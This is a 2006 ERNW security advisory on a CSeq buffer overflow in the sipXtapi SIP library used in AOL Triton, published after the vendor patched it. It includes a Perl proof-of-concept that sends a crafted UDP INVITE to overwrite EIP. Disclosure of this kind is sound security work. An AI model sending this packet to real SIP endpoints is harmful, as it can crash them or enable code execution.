[Full-disclosure] ERNW Security Advisory 02/2006 - Buffer Overflow in sipXtapi (used in AOL Triton)

Type securityvulns
Reporter Securityvulns
Modified 2006-07-10T00:00:00


ERNW Security Advisory 02-2006

Buffer Overflow in SIP Foundry's SipXtapi

Author: Michael Thumann <mthumann[at]ernw.de> Homepage: www.ernw.de

  1. Summary: The sipXtapi library from sip foundry contains a buffer overflow when parsing the CSeq field. This flaw can be used by an attacker to gain control over EIP and execute arbitrary code.

  2. Severity : Critical

  3. Products affected

  4. sipXtapi: all version compiled before 24 of march 2006
  5. PingTel products
  6. AOL Triton

  7. Patch Availability : A patch is available within the source tree and the affected products of PingTel and AOL have beed updated.

  8. Details Sending a CSeq field value greater than 24 bytes triggers the buffer ovlerflow condition.

  9. Solution Update the affected products to the actual version.

  10. Time-Line 20 Mar 2006: Vulnerability reported to vendor 20 Mar 2006: Answer from vendor 24 Mar 2006: Patch available 10 July 2006: Public Disclosure

  11. Exploit


PoC Exploit By mthumann@ernw.de

Remote Buffer Overflow in sipXtapi

use IO::Socket;

use strict;

print "sipXtapi Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) { print "Usage: sipx.pl <host>\n"; exit;}

$target=$ARGV[0]; my $source =""; my $target_port = 5060; my $user ="bad"; my $eip="\x41\x41\x41\x41"; my $cseq = "\x31\x31\x35\x37\x39\x32\x30\x38". "\x39\x32\x33\x37\x33\x31\x36\x31". "\x39\x35\x34\x32\x33\x35\x37\x30". $eip; my $packet =<<END; INVITE sip:user\@$source SIP/2.0\r To: <sip:$target:$target_port>\r Via: SIP/2.0/UDP $target:3277\r From: "moz"<sip:$target:3277>\r Call-ID: 3121$target\r CSeq: $cseq\r Max-Forwards: 70\r Contact: <sip:$source:5059>\r \r END

print "Sending Packet to: " . $target . "\n\n"; socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp")); my $ipaddr = inet_aton($target); my $sendto = sockaddr_in($target_port,$ipaddr); send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n"; print "Done.\n";

  1. Thanks We would like to thank the guys from sip foundry for working together on this issue in a professional and responsible way.

  2. Disclaimer The informations in this advisory are provided "AS IS" without warranty of any kind. In no event shall the authors be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages due to the misuse of any information provided in this advisory.

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